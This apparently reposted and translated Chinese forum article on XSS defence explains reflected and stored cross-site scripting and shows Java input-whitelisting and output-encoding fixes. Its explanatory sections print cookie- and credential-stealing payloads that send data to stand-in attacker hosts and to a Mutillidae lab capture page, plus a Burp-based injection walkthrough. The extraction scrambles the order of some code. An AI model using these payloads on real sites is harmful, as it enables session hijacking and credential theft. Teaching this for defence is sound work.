搜索

[904] 2019-04-22_安全编码实践之二：跨站脚本攻击防御

文档创建者：s7ckTeam
浏览次数：30
最后更新：2025-01-16
2019-04-22_安全编码实践之二：跨站脚本攻击防御 安 全 编 码 实 践 之 二 ： 跨 站 脚 本 攻 击 防 御 原 创   B y p a s s   B y p a s s   2 0 1 9 - 0 4 - 2 2 如 何 编 写 安 全 代 码 ？ 保 护 自 己 免 受 跨 站 点 脚 本 攻 击 ！ 过 去 几 个 月 我 一 直 致 力 于 安 全 代 码 实 践 ， 我 一 直 在 努 力 与 社 区 讨 论 易 于 采 用 的 方 法 。 我 们 每 天 看 到 的 不 安 全 代 码 的 数 量 确 实 令 人 震 惊 ， 我 们 都 同 意 “ 预 防 胜 于 治 疗 ” 。 保 持 我 们 的 代 码 和 应 用 程 序 安 全 的 最 佳 方 法 是 从 一 开 始 就 正 确 编 程 。 编 写 安 全 代 码 并 不 困 难 或 复 杂 ， 只 需 要 程 序 员 知 道 在 哪 里 包 含 安 全 检 查 。 这 是 几 行 额 外 代 码 的 问 题 ， 但 仅 此 一 项 就 可 以 抵 御 针 对 您 的 应 用 程 序 的 大 量 攻 击 。 我 们 来 挖 掘 吧 ！ 我 们 来 挖 掘 吧 ！ 因 此 ， 这 篇 特 别 的 文 章 “ 如 何 编 写 安 全 代 码 ？ ” 专 注 于 跨 站 点 脚 本 问 题 。 只 要 应 用 程 序 获 取 不 受 信 任 的 数 据 并 将 其 发 送 到 W e b 浏 览 器 而 没 有 正 确 的 验 证 和 转 义 ， 就 会 发 生 跨 站 点 脚 本 漏 洞 。 X S S 允 许 攻 击 者 在 受 害 者 的 浏 览 器 中 执 行 脚 本 ， 这 些 脚 本 可 能 会 劫 持 用 户 会 话 ， 破 坏 网 站 或 将 用 户 重 定 向 到 恶 意 网 站 。 下 面 的 代 码 是 发 生 X S S 攻 击 的 示 例 之 一 ， 所 采 用 的 输 入 未 经 过 清 理 ， 并 且 直 接 传 递 给 参 数 。 用 户 输 入 的 值 立 即 存 储 在 局 部 变 量 f i r s t N a m e P a r a m e t e r 中 ， 然 后 在 H T T P 响 应 中 将 值 发 送 到 浏 览 器 ， 而 不 进 行 任 何 输 出 编 码 。 在 本 文 中 ， 我 将 介 绍 几 种 不 同 类 型 的 攻 击 和 方 法 ， 即 您 每 天 面 临 的 攻 击 和 方 法 以 及 可 用 于 防 止 它 们 的 方 法 ：   1 . 反 射 反 射 X S S 它 一 次 针 对 一 名 受 害 者 进 行 追 踪 ， 当 恶 意 负 载 传 递 给 受 害 者 并 且 他 们 最 终 点 击 恶 意 U R L 并 让 黑 客 访 问 他 们 的 c o o k i e 和 其 他 数 据 时 ， 可 以 看 到 它 在 行 动 中 。 这 里 是 有 效 载 荷 的 示 例 ， 如 果 受 害 者 执 行 该 攻 击 ， 则 攻 击 者 可 以 访 问 其 详 细 信 息 。 另 一 个 例 子 是 我 们 访 问 一 个 密 码 生 成 器 的 网 页 。 乍 一 看 ， 页 面 看 起 来 不 容 易 受 到 任 何 攻 击 ， 因 为 我 们 所 要 做 的 就 是 按 “ 生 成 密 码 ” 按 钮 。 S t r i n g   f i r s t N a m e P a r a m e t e r   = （ S t r i n g ） r e q u e s t . g e t P a r a m e t e r （ “ f i r s t N a m e ” ） ; h t t p s : / / m y b a n k . c o m / s u b m i t F o r m . d o ? c u s t o m e r =   < s c r i p t >   f u n c t i o n   +   s t e a l C r e d e n t i a l s （ ）   { l o c a t i o n . h r e f   = “   w w w . e v i l h a c k e r s i t e . c o m ？ n a m e   =   d o c u m e n t . m y f o r m . u s e r n a m e . v a l u e ＆ p a s s w o r d   =   d o c u m e n t . m y f o r m . p w o r d   . v a l u e “ } < /   s c r i p t > / / 整 个 脚 本 将 作 为 u r l 传 递 。 / / 它 已 被 提 出 以 增 强 可 读 性 。
我 们 打 开 我 们 的 b u r p - s u i t e 并 在 我 们 的 代 理 选 项 卡 中 拦 截 请 求 。 我 们 将 其 发 送 到 转 发 器 选 项 卡 以 检 查 请 求 查 询 和 相 应 的 响 应 查 询 。 下 面 的 图 像 是 我 们 传 递 的 第 一 个 请 求 ， 我 们 可 以 观 察 到 我 们 在 请 求 查 询 中 传 递 的 用 户 名 会 反 映 在 响 应 查 询 中 。 现 在 我 们 知 道 ， 用 户 名 反 映 给 我 们 ， 我 们 可 以 使 用 我 们 的 有 效 负 载 注 入 值 字 段 。 现 在 唯 一 需 要 的 是 我 们 如 何 设 计 有 效 负 载 ， 以 便 我 们 可 以 按 预 期 执 行 命 令 。 “ ;   c a t c h （ e ） { }   a l e r t （ ' i n j e c t ' ） ;   t r y （ a   = ” / / 我 们 的 有 效 载 荷
  上 图 显 示 了 请 求 和 附 加 有 效 负 载 的 响 应 查 询 ， 似 乎 已 经 成 功 。 我 们 对 整 个 有 效 负 载 进 行 u r l 编 码 ， 然 后 通 过 代 理 选 项 卡 再 次 发 送 ， 并 检 查 我 们 在 浏 览 器 中 收 到 的 结 果 。 在 代 理 选 项 卡 中 传 递 有 效 内 容 正 如 预 期 的 那 样 ， 我 们 会 收 到 一 个 警 告 框 ， 该 框 显 示 在 浏 览 器 中 ， 表 明 攻 击 有 效 负 载 已 经 起 作 用 。 2 . 存 储 存 储 X S S 当 代 码 被 注 入 正 在 托 管 的 服 务 器 端 程 序 时 ， 就 会 发 生 此 攻 击 。 因 此 ， 每 当 用 户 导 航 到 特 定 网 页 或 链 接 时 ， 他 们 就 是 存 储 的 X S S 攻 击 的 受 害 者 。 存 储 的 X S S 攻 击 可 以 按 如 下 方 式 执 行 ， 如 果 页 面 上 的 图 像 以 这 样 的 方 式 注 入 ： 每 当 页 面 加 载 恶 意 脚 本 （ 如 下 所 示 ） 时 加 载 而 不 是 图 片 ， 然 后 抓 取 用 户 的 c o o k i e 。 存 储 的 X S S 的 另 一 个 例 子 如 下 ：   < s c r i p t >   n e w I m a g e （ ） 。 s r c   = “   h t t p : / / m y e v i l h a c k e r s i t e . c o m / l o g i n . c g i ? c =   " + e n c o d e U R I ( d o c u m e n t . c o o k i e   ）   ;   < /   s c r i p t > / / 我 们 的 有 效 载 荷
在 我 们 旁 边 的 登 录 页 面 中 ， 输 入 t e s t 作 为 用 户 名 和 密 码 。 我 们 所 做 的 每 件 事 都 记 录 在 日 志 数 据 库 中 。 我 们 可 以 继 续 检 查 日 志 数 据 库 ， 在 那 里 我 们 可 以 看 到 注 册 了 测 试 用 户 名 的 失 败 登 录 尝 试 。 因 此 ， 如 果 用 户 名 没 有 被 清 理 并 直 接 保 存 在 日 志 中 ， 那 么 我 们 可 以 利 用 它 来 发 起 存 储 的 X S S 攻 击 。 我 们 在 用 户 名 字 段 中 传 递 以 下 有 效 负 载 ， 以 查 看 我 们 是 否 能 够 执 行 X S S 攻 击 。 只 要 我 们 在 用 户 名 框 中 传 递 我 们 的 有 效 负 载 并 打 开 日 志 文 件 ， 我 们 就 可 以 清 楚 地 看 到 c o o k i e 存 储 在 那 里 ， 正 如 我 们 所 希 望 的 那 样 。 因 此 ， 现 在 每 当 有 人 打 开 日 志 文 件 时 ， 他 们 的 c o o k i e 值 将 被 发 送 到 c a p t u r e - d a t a . p h p 页 面 ， 然 后 存 储 数 据 。 保 卫 你 的 代 码 ！ 保 卫 你 的 代 码 ！ 我 们 已 经 详 细 讨 论 了 如 何 利 用 我 们 的 代 码 在 网 站 上 执 行 恶 意 X S S 攻 击 。 我 们 可 以 采 取 的 步 骤 如 下 ：   - 输 入 验 证 输 入 验 证 验 证 应 仅 在 服 务 器 端 执 行 ， 绝 不 应 在 客 户 端 完 成 。 我 们 可 以 允 许 用 户 使 用 的 白 名 单 和 黑 名 单 。 我 们 可 以 利 用 常 规 的 正 则 表 达 式 或 基 于 框 架 的 反 X S S 函 数 来 增 强 安 全 性 。 代 码 示 例 而 不 是 直 接 使 用 和 接 收 参 数 “ f i r s t N a m e ” 。 在 分 配 给 变 量 f i r s t N a m e P a r a m e t e r 之 前 ， 首 先 将 其 传 递 给 正 则 表 达 式 < s c r i p t >   d o c u m e n t . l o c a t i o n   = “   h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 3 / m u t i l l i d a e / i n d e x . p h p ? p a g e = c a p t u r e - d a t a . p h p & c = ” +   d o c u m e n t . c o o k i e   < /   s c r i p t > S t r i n g   f i r s t N a m e P a r a m e t e r   = （ S t r i n g ） r e q u e s t . g e t P a r a m e t e r （ “ f i r s t N a m e ” ） ; p r i v a t e   f i n a l   S t r i n g   M Y _ D A T A V A L I D A T I O N _ W H I T E L I S T   = “ [ a - z A - Z ]   * ” ; p u b l i c   b o o l e a n   m u s t P a s s W h i t e L i s t C h e c k （ S t r i n g   c l i e n t S i d e P a r a m e t e r ） 抛 出 W h i t e L i s t F a i l u r e E x c e p t i o n { b o o l e a n   c h e c k V a l u e   W h i t e L i s t F a i l u r e E x c e p t i o n
输 出 编 码 输 出 编 码 中 和 H T T P 响 应 中 包 含 的 任 何 误 解 释 的 字 符 将 字 符 转 换 为 数 据 而 不 是 执 行 恶 意 脚 本 U R L 编 码   -   用 一 个 或 多 个 字 符 三 元 组 替 换 字 符 串 中 的 字 符 三 元 组 ： ％ 后 跟 两 个 其 他 十 六 进 制 数 字 ， 例 如 ： ％ 2 e 这 是 “ 。 ” 输 出 编 码 代 码 示 例 下 面 的 代 码 是 没 有 执 行 编 码 的 代 码 。 现 在 我 们 将 对 上 面 的 代 码 进 行 小 的 修 改 ， 在 输 入 被 我 们 的 正 则 表 达 式 杀 菌 剂 消 毒 之 后 ， 我 们 将 把 值 传 递 给 p r i n t 语 句 。 输 出 编 码 网 页 上 下 文 至 少 我 们 需 要 为 这 些 值 执 行 U R L 编 码 ：   - a ） H T M L 正 文 b ） H T M L 属 性 c ） U R L d ） J a v a S c r i p t e ） 级 联 样 式 表 安 全 防 御 安 全 防 御 X S S 是 一 种 危 险 的 攻 击 ， 可 以 自 动 搜 索 X S S 。 存 储 和 反 射 的 X S S 可 能 会 对 应 用 程 序 造 成 严 重 损 害 。 防 止 这 些 攻 击 的 最 基 本 方 法 之 一 是 执 行 适 当 的 输 入 验 证 和 输 出 编 码 。 正 确 实 现 这 两 个 功 能 可 以 帮 助 我 们 有 效 防 御 X S S 攻 击 。 声 明 ： 本 文 由 B y p a s s 整 理 并 翻 译 ， 仅 用 于 安 全 研 究 和 学 习 之 用 。 文 章 来 源 ： h t t p s : / / m e d i u m . c o m / b u g b o u n t y w r i t e u p / h o w - t o - w r i t e - s e c u r e - c o d e - b 2 7 5 7 b 5 9 c d 4 b { b o o l e a n   c h e c k V a l u e   =   f a l s e ; c h e c k V a l u e   =   P a t t e r n . m a t c h e s （ M Y _ D A T A V A L I D A T I O N _ W H I T E L I S T ， c l i e n t S i d e P a r a m e t e r ） ; i f （ c h e c k V a l u e   = =   f a l s e ） {       t h r o w   n e w   W h i t e L i s t F a i l u r e E x c e p t i o n （ “ P o s s i b l e   A t t a c k   ! ! ! ” ） ; } r e t u r n   c h e c k V a l u e ; } S y s t e m . o u t . p r i n t l n （ “ < H T M L >   < H E A D >   < B O D Y >   H e l l o   + ” + r e q u e s t . g e t P a r a m e t e r （ “ f i r s t N a m e ” ） + “ < /   B O D Y >   < /   H T M L > ” ） ; S y s t e m . o u t . p r i n t l n （ “ < H T M L >   < H E A D >   < B O D Y >   H e l l o   + ” +   E n c o d e r （ ） 。 e n c o d e F o r H T M L （ s a n i t i s e d F i r s t N a m e V a r i a b l e ） + “ < /   B O D Y >   < /   H T M L > ” ） ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理